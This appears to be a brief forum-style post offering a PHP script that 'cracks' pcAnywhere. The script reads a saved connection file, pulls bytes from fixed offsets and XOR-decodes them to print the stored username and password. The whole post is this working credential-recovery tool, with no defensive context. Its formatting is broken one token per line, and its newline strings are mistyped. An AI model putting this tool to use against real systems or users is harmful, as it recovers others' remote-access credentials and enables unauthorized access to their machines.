Pcanywhere is easy to crack by this php code:
<?php
error_reporting
(
7
)
;
function
PcAnywhere(
$data
,
$mode
)
{
$Pass
=
substr
(
$data
,
2
)
;
$str
=
0
;
if
(
$mode
==
"Pass"
)
$number
=
32
;
if
(
$mode
==
"User"
)
$number
=
64
;
for
(
$i
=
0
;
$i
<
$number
;
$i
+=
2
)
{
if
(
$mode
==
"Pass"
)
$Cifnum
=
(
$str
+
144
)
;
if
(
$mode
==
"User"
)
$Cifnum
=
(
$str
+
15
)
;
$PassWord
=
(
(
Hexdec
(
substr
(
$data
,
$i
,
2
)
)
^ Hexdec
(
substr
(
$Pass
,
$i
,
2
)
)
)
^ $Cifnum
)
;
if
(
(
$PassWord
<=
32
)
or (
$PassWord
>
127
)
)
break
;
$Num
.=
chr
(
$PassWord
)
;
$str
++;
}
return
$Num
;
}
$path
=
$argv
[
1
]
;
$str
=@
file_get_contents
(
$path
)
;
$binstr
=
bin2hex
(
$str
)
;
echo
"Path:"
.
$path
.
"/r
/n
"
;
echo
"User:"
.
PcAnywhere(
substr
(
$binstr
,
918
,
64
)
,
User)
.
"/r
/n
"
;
echo
"Pass:"
.
PcAnywhere(
substr
(
$binstr
,
1176
,
32
)
,
Pass)
.
"/r
/n
"
;
?>